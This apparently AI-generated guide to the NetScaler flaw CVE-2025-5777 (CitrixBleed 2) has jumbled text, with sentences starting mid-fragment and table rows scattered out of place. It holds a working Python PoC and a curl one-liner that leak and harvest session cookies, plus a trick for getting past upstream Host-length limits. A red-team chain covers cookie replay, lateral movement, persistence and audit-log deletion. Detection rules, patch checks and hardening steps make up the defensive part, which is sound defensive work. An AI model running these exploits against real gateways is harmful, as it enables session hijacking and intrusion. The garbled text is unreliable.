
详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件
An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — A Comprehensive Guide from Root Cause to Offensive and Defensive Exercises
0x00 Introduction / Overview
0x01 Background: NetScaler Architecture and CitrixBleed 1 Review
0x02 Vulnerability Description (Affected Versions, CVSS, Exploitation Consequences)
0x03 Trigger Mechanism Deep Dive (Source-level Analysis & Debug Screenshots)
0x04 Minimal PoC + Advanced Scanning Script
0x05 Red Team Perspective: Full Attack Chain (Discovery → Leak → Session Hijack → Lateral Movement)
0x06 Blue Team Perspective: Detection, Forensics, and Patch Verification
0x07 Defense Hardening: Patches, WAF, Configuration, Asset Governance
0x08 Learning / Review Roadmap and Hands-on Lab
Appendix A Sigma / Suricata / Nginx-Lua Rules
Appendix B Patch/Exploit Timeline & IoC Snapshot
References
Host header can cause the device to "spray" random memory blocks along with the HTTP response to the client.NSC_USER / NSC_TASS cookies, SAML StateContext, MFA tokens, which can be directly reused to achieve session takeover and MFA bypass (arcticwolf.com, tenable.com).┌──────────────┐
│ Client │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② AAA / Gateway Authentication
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ Forward to Application
│ CVPN / RDP │
└──────────────┘
NetScaler adopts a multi-process + internal IPC design. WebProc handles most HTTP requests under the AAA / Gateway path, including /nf/auth/*, /oauth/*, etc. It heavily uses snprintf() / memcpy() in C language, assembling XML/HTML fragments each time.
/oauth/idp/.well-known/openid-configuration.snprintf as the len parameter for subsequent send() → out-of-bounds memory echo.Lesson Learned: If security patches only target the "falling point" rather than the "programming paradigm", they leave room for "templated reproduction".
This section is based on decompilation of firmware 13.1-55.18 + gdb debugging, compiled with public blog posts (bishopfox.com).
/nf/auth/startwebview.doHost header<AuthenticateResponse>
<wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
...
</AuthenticateResponse>
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
│ └─ return length; // ⚠️ length can be > 0x1800
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
Bug Point:
snprintfreturns the "length that should have been written" instead of the actual written length; if the user-suppliedHost> 0x1800 - constant segment length, thenlength>sizeof(buf).
buf: [-----XML-----][OOB][OOB][OOB]...... <- 0x1800 bytes limit
↑
Sent together by ns_vpn_send_response
GDB breakpoint demonstration (key registers):
RDI (dst) = 0x7fffa2e31800 // buf
RSI (len) = 0x00001e42 // length=7746 (>6144)
read() result shows that the last 1600 bytes come from uninitialized memory, where cookie buffers of other SSL sessions are visible.
| Category | Example Fragment (Sanitized) |
|---|---|
| Session Cookie | Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123... |
| MFA/OTP Token | radius_state=0e2a9c6d1553... |
| Other Request Body | <username>audituser</username><password>***</password> |
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv) != 2:
exit(f"Usage: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" Cookie leak ->", h.decode())
open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
leak.bin for keywords such as Cookie=, <AuthenticateContext>.curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
Bypass: Some devices have
Hostlength restrictions on upstream F5/Nginx; you can bypass by concatenating multiple subdomains, e.g.,foo.foo.foo.…foo.example.com(repeatfoo3000 times).
Real case: ReliaQuest observed on a customer gateway "a large volume of 6 KB+ Host header requests in a short period → followed by session theft" (reliaquest.com).
| Source | Indication |
|---|---|
| /var/log/ns.log | AAA_TRANSACTION <client_ip> - Host header length: 6144 |
| HTTP_ACCESS.log |
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
category: webserver
product: netscaler
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
cs-bytes|gt: 2048
c-host|strlen|gt: 4096
condition: selection
level: critical
nscli -s 127.0.0.1:3008 \
-c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
&& echo "Patched ✅" || echo "Vulnerable ❌"
# Clear all active VPN/ICA connections
kill icaconnection -all
kill vpn -all
Note: After patching, forced logout is still required to prevent attackers from continuing to use stolen cookies.
map $http_host $block_long_host {
default 0;
"~^.{4097,}$" 1;
}
server {
...
if ($block_long_host) { return 413; }
}
/nf/auth/ & /oauth/.title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
product: netscaler
service: http_access
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
c-host|strlen|gt: 4096
condition: selection
level: critical
alert http any any -> any any (
msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
http.uri; content:"/nf/auth/startwebview.do"; nocase;
http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
classtype:attempted-recon;
sid:5777002; rev:1;
)
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end
End — Hope this document helps you fully understand and respond to CitrixBleed 2. If you need further examples, scripts, or exercise guidance, feel free to ask!
| Field | Content |
|---|
| CVE | CVE-2025-5777 |
| Alias | CitrixBleed 2 |
| Vulnerability Type | Out-of-Bounds Read / Information Disclosure |
| CVSS v4 Base | 9.3 (Crit.) (netscaler.com) |
| Affected Versions | < 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com) |
| Exploitation Conditions | NetScaler is configured as Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) or AAA virtual server (arcticwolf.com) |
| Consequences | Memory leak → Session tokens → Authentication bypass / MFA bypass → Lateral movement |
| Step | Purpose & Technique |
|---|
| ① Asset Discovery | zoomeye search "http.title:\"NetScaler Gateway\"" + Shodan etc.; filter set-cookie: NSC_ |
| ② PoC Leak | Parallel requests with batch script; capture NSC_USER= ; NSC_TASS= |
| ③ Cookie Replay | Chrome DevTools → Application → Cookies → Add entries, refresh /vpn/index.html |
| ④ Internal Resources | Access storeweb/#home to obtain RDP files; download .ica to directly log into VDI |
| ⑤ Privilege Escalation | Internal credential spraying, Kerberoast, ADCS ESC1; or exploit weak SMB passwords on same subnet |
| ⑥ Persistence | Create a new Scheduled Task; register a startup script; or modify NetScaler vDisk (high privileges require oversight) |
| ⑦ Trace Cleanup | Burn cookies after use; delete audit logs (if NS root obtained); or exploit logrotate race to overwrite |
/nf/auth/startwebview.do requests with extremely short duration but unusually large response (> 2 KB) |
| EDR/PCAP | Set-Cookie: NSC_USER= appears in responses to non-login requests |
| Phase | Suggested Resources & Actions |
|---|
| Theory | Read Citrix security advisory, Arctic Wolf / Tenable FAQ, Bishop Fox technical analysis (arcticwolf.com, tenable.com, bishopfox.com) |
| Lab | Deploy vulnerable version 13.1-55.18 (ESXi / KVM), run minimal PoC, capture with Wireshark → observe TCP PSH response packets |
| Coding | Modify PoC: add automatic cookie replay, ZTLS batch scanning, multi-threaded queue |
| Blue Team | Search for anomalous Host lengths within a two-hour window; use Sigma → Elastic/Graylog; reproduce and validate WAF policies |
| Sharing | Write a blog or create a mind map, summarizing "similar snprintf usage pitfalls" |
| Date (2025) | Event |
|---|
| 06-17 | Citrix initially publishes CVE-2025-5777 advisory (netscaler.com) |
| 06-18 | Bishop Fox releases first technical analysis & PoC (bishopfox.com) |
| 06-23 | Citrix updates affected scope + patch versions; CISA adds to KEV |
| 06-25 | ReliaQuest reports active exploitation, threat groups bulk stealing sessions (reliaquest.com) |
| 06-27 | BleepingComputer reports "possibly already widely exploited" (bleepingcomputer.com) |
| 06-28 | Multiple GitHub PoCs appear; Tenable publishes FAQ (tenable.com) |